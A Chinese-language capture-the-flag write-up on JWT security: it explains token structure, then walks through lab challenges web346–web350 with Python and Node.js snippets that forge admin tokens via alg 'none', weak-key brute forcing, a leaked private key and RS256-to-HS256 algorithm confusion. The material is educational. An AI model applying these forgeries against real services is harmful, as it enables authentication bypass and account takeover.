文章目录
- jwt安全问题
- jwt简介
- jwt组成
- header
- payload
- signature
- 潜在漏洞
- 空加密算法
- web346
- 密钥爆破
- web348
- 敏感信息泄露
- web349
- **修改算法RS256为HS256**
- web350
jwt安全问题
jwt简介
JWT的全称是Json Web Token
,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt就是可以用来验证身份的东西
jwt组成
格式为:
header.payload.signature
header
heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。
{"typ":"JWT","alg":"HS256"
}
payload
payload则为用户数据,如一次登录的过程可能会传递一下数据
{"user_role" : "finn", //当前登录用户"iss": "admin", //该JWT的签发者,有些是URL"iat": 1573440582, //签发时间"exp": 1573940267, //过期时间"nbf": 1573440582, //该时间之前不接收处理该Token"domain": "example.com", //面向的用户"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
signature
这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)
header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"=“号,并且将”+“替换成”-“、”/“替换成”_"
潜在漏洞
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥(CVE-2018-0114)
空加密算法
JWT支持空加密算法,可以在header中指定alg为None
,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证
格式:header+"."+payload+"."
空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。
web346
jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE
解密看看:
我们需要将其改为admin
但是这里存在空加密算法,我们直接把算法换为none
即可
import jwt# payload
token_dict = {"iss": "admin","iat": 1610432484,"exp": 1610439684,"nbf": 1610432484,"sub": "admin","jti": "efec0205f601a537847ee2dd3ffa81ff"
}# headers
headers = {"alg": "none","typ": "JWT"
}jwt_token = jwt.encode(token_dict,key='',headers=headers,algorithm="None",)print(jwt_token)# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.
密钥爆破
对 JWT 的密钥爆破需要在一定的前提下进行:
- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂(弱密钥)
web348
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo
借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker
敏感信息泄露
web349
私钥泄露了
/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public keyjwt.verify(auth, cert, function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin');}});
});
访问/private.key
可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token
import jwtprivate = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))
修改算法RS256为HS256
(非对称密码–>对称密码)
JWT中最常用的两种算法为HMAC
和RSA
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在这两种算法中都是使用私钥对signature
字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key
web350
这里公钥泄露了,我们直接修改加密算法为HS256
,此时服务端会使用公钥进行校验
import jwtpublic = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
或者使用nodejs:
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)